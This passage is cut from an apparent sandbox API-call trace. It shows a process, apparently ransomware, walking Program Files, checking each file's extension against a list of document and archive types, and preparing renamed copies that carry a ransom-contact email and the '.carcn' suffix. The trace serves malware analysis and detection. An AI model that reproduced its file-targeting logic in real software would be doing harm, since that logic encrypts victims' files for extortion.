shared\\ink\\ipscsy.xml") returned 61 [0175.215] lstrlenW (lpString=".1cd") returned 4 [0175.215] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.215] lstrlenW (lpString=".jpg") returned 4 [0175.215] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.216] lstrlenW (lpString=".doc") returned 4 [0175.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.216] lstrlenW (lpString=".docx") returned 5 [0175.216] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0175.216] lstrlenW (lpString=".pdf") returned 4 [0175.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.216] lstrlenW (lpString=".xls") returned 4 [0175.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.216] lstrlenW (lpString=".xlsx") returned 5 [0175.216] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0175.216] lstrlenW (lpString=".ppt") returned 4 [0175.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.216] lstrlenW (lpString=".zip") returned 4 [0175.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.216] lstrlenW (lpString=".rar") returned 4 [0175.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.216] lstrlenW (lpString=".bz2") returned 4 [0175.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.216] lstrlenW (lpString=".7z") returned 3 [0175.216] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.216] lstrlenW (lpString=".dbf") returned 4 [0175.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.216] lstrlenW (lpString=".1cd") returned 4 [0175.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.216] lstrlenW (lpString=".jpg") returned 4 [0175.216] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.217] lstrcmpiW (lpString1=".htm", lpString2=".carcn") returned 1 [0175.217] lstrlenW (lpString="Garden.htm") returned 10 [0175.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0176.049] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=231) returned 1 [0176.049] CloseHandle (hObject=0x388) returned 1 [0176.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0176.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0176.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.049] lstrlenW (lpString=".doc") returned 4 [0176.049] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0176.049] lstrlenW (lpString=".docx") returned 5 [0176.049] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0176.049] lstrlenW (lpString=".pdf") returned 4 [0176.049] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0176.049] lstrlenW (lpString=".xls") returned 4 [0176.049] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0176.049] lstrlenW (lpString=".xlsx") returned 5 [0176.049] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0176.049] lstrlenW (lpString=".ppt") returned 4 [0176.049] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0176.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.049] lstrlenW (lpString=".zip") returned 4 [0176.050] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0176.050] lstrlenW (lpString=".rar") returned 4 [0176.050] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0176.050] lstrlenW (lpString=".bz2") returned 4 [0176.050] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0176.050] lstrlenW (lpString=".7z") returned 3 [0176.050] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0176.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.050] lstrlenW (lpString=".dbf") returned 4 [0176.050] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0176.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.050] lstrlenW (lpString=".1cd") returned 4 [0176.050] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0176.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.050] lstrlenW (lpString=".jpg") returned 4 [0176.050] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0176.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.050] lstrlenW (lpString=".doc") returned 4 [0176.050] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0176.050] lstrlenW (lpString=".docx") returned 5 [0176.050] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0176.050] lstrlenW (lpString=".pdf") returned 4 [0176.050] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0176.050] lstrlenW (lpString=".xls") returned 4 [0176.050] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0176.050] lstrlenW (lpString=".xlsx") returned 5 [0176.050] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0176.050] lstrlenW (lpString=".ppt") returned 4 [0176.050] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0176.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.050] lstrlenW (lpString=".zip") returned 4 [0176.050] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0176.051] lstrlenW (lpString=".rar") returned 4 [0176.051] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0176.051] lstrlenW (lpString=".bz2") returned 4 [0176.051] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0176.051] lstrlenW (lpString=".7z") returned 3 [0176.051] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0176.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.051] lstrlenW (lpString=".dbf") returned 4 [0176.051] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0176.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.051] lstrlenW (lpString=".1cd") returned 4 [0176.051] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0176.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0176.051] lstrlenW (lpString=".jpg") returned 4 [0176.051] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0176.051] lstrcmpiW (lpString1=".htm", lpString2=".carcn") returned 1 [0176.051] lstrlenW (lpString="Hand Prints.htm") returned 15 [0176.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.646] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=235) returned 1 [0177.646] CloseHandle (hObject=0x310) returned 1 [0177.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0177.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.785] lstrlenW (lpString=".doc") returned 4 [0177.785] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.785] lstrlenW (lpString=".docx") returned 5 [0177.785] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0177.785] lstrlenW (lpString=".pdf") returned 4 [0177.785] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.785] lstrlenW (lpString=".xls") returned 4 [0177.785] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.785] lstrlenW (lpString=".xlsx") returned 5 [0177.785] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0177.785] lstrlenW (lpString=".ppt") returned 4 [0177.785] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.785] lstrlenW (lpString=".zip") returned 4 [0177.785] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.785] lstrlenW (lpString=".rar") returned 4 [0177.786] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.786] lstrlenW (lpString=".bz2") returned 4 [0177.786] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.786] lstrlenW (lpString=".7z") returned 3 [0177.786] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.786] lstrlenW (lpString=".dbf") returned 4 [0177.786] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.786] lstrlenW (lpString=".1cd") returned 4 [0177.786] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.786] lstrlenW (lpString=".jpg") returned 4 [0177.786] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.786] lstrlenW (lpString=".doc") returned 4 [0177.786] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.786] lstrlenW (lpString=".docx") returned 5 [0177.786] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0177.786] lstrlenW (lpString=".pdf") returned 4 [0177.786] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.786] lstrlenW (lpString=".xls") returned 4 [0177.786] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.786] lstrlenW (lpString=".xlsx") returned 5 [0177.786] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0177.786] lstrlenW (lpString=".ppt") returned 4 [0177.786] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.786] lstrlenW (lpString=".zip") returned 4 [0177.786] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.786] lstrlenW (lpString=".rar") returned 4 [0177.786] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.787] lstrlenW (lpString=".bz2") returned 4 [0177.787] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.787] lstrlenW (lpString=".7z") returned 3 [0177.787] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.787] lstrlenW (lpString=".dbf") returned 4 [0177.787] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.787] lstrlenW (lpString=".1cd") returned 4 [0177.787] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0177.787] lstrlenW (lpString=".jpg") returned 4 [0177.787] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.787] lstrcmpiW (lpString1=".htm", lpString2=".carcn") returned 1 [0177.787] lstrlenW (lpString="Shades of Blue.htm") returned 18 [0177.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.817] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=237) returned 1 [0177.817] CloseHandle (hObject=0x318) returned 1 [0177.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0177.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.817] lstrlenW (lpString=".doc") returned 4 [0177.817] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.817] lstrlenW (lpString=".docx") returned 5 [0177.817] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0177.817] lstrlenW (lpString=".pdf") returned 4 [0177.817] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.817] lstrlenW (lpString=".xls") returned 4 [0177.817] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.817] lstrlenW (lpString=".xlsx") returned 5 [0177.818] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0177.818] lstrlenW (lpString=".ppt") returned 4 [0177.818] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.818] lstrlenW (lpString=".zip") returned 4 [0177.818] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.818] lstrlenW (lpString=".rar") returned 4 [0177.818] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.818] lstrlenW (lpString=".bz2") returned 4 [0177.818] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.819] lstrlenW (lpString=".7z") returned 3 [0177.819] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.819] lstrlenW (lpString=".dbf") returned 4 [0177.819] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.819] lstrlenW (lpString=".1cd") returned 4 [0177.819] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.819] lstrlenW (lpString=".jpg") returned 4 [0177.819] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.819] lstrlenW (lpString=".doc") returned 4 [0177.819] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.820] lstrlenW (lpString=".docx") returned 5 [0177.820] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0177.820] lstrlenW (lpString=".pdf") returned 4 [0177.820] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.820] lstrlenW (lpString=".xls") returned 4 [0177.820] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.820] lstrlenW (lpString=".xlsx") returned 5 [0177.820] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0177.820] lstrlenW (lpString=".ppt") returned 4 [0177.820] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.820] lstrlenW (lpString=".zip") returned 4 [0177.820] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.820] lstrlenW (lpString=".rar") returned 4 [0177.820] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.820] lstrlenW (lpString=".bz2") returned 4 [0177.820] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.820] lstrlenW (lpString=".7z") returned 3 [0177.820] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.820] lstrlenW (lpString=".dbf") returned 4 [0177.820] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.820] lstrlenW (lpString=".1cd") returned 4 [0177.820] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 76 [0177.820] lstrlenW (lpString=".jpg") returned 4 [0177.820] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.820] lstrcmpiW (lpString1=".inc", lpString2=".carcn") returned 1 [0177.820] lstrlenW (lpString="adcjavas.inc") returned 12 [0177.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0177.933] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=630) returned 1 [0177.933] CloseHandle (hObject=0x364) returned 1 [0177.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0177.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.949] lstrlenW (lpString=".doc") returned 4 [0177.949] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0177.949] lstrlenW (lpString=".docx") returned 5 [0177.949] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0177.949] lstrlenW (lpString=".pdf") returned 4 [0177.949] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0177.949] lstrlenW (lpString=".xls") returned 4 [0177.949] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0177.949] lstrlenW (lpString=".xlsx") returned 5 [0177.949] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0177.949] lstrlenW (lpString=".ppt") returned 4 [0177.949] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0177.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.949] lstrlenW (lpString=".zip") returned 4 [0177.949] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0177.949] lstrlenW (lpString=".rar") returned 4 [0177.949] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0177.950] lstrlenW (lpString=".bz2") returned 4 [0177.950] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0177.950] lstrlenW (lpString=".7z") returned 3 [0177.950] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0177.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.950] lstrlenW (lpString=".dbf") returned 4 [0177.950] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0177.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.950] lstrlenW (lpString=".1cd") returned 4 [0177.950] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0177.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.950] lstrlenW (lpString=".jpg") returned 4 [0177.950] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0177.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.950] lstrlenW (lpString=".doc") returned 4 [0177.950] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0177.950] lstrlenW (lpString=".docx") returned 5 [0177.950] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0177.950] lstrlenW (lpString=".pdf") returned 4 [0177.950] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0177.950] lstrlenW (lpString=".xls") returned 4 [0177.950] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0177.950] lstrlenW (lpString=".xlsx") returned 5 [0177.950] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0177.950] lstrlenW (lpString=".ppt") returned 4 [0177.950] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0177.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.952] lstrlenW (lpString=".zip") returned 4 [0177.952] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0177.952] lstrlenW (lpString=".rar") returned 4 [0177.952] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0177.952] lstrlenW (lpString=".bz2") returned 4 [0177.952] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0177.952] lstrlenW (lpString=".7z") returned 3 [0177.952] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0177.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.953] lstrlenW (lpString=".dbf") returned 4 [0177.953] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0177.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.953] lstrlenW (lpString=".1cd") returned 4 [0177.953] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0177.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0177.953] lstrlenW (lpString=".jpg") returned 4 [0177.953] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0177.953] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0177.953] lstrlenW (lpString="splash@2x.gif") returned 13 [0177.953] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0177.967] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=15276) returned 1 [0177.967] CloseHandle (hObject=0x35c) returned 1 [0177.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0177.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: 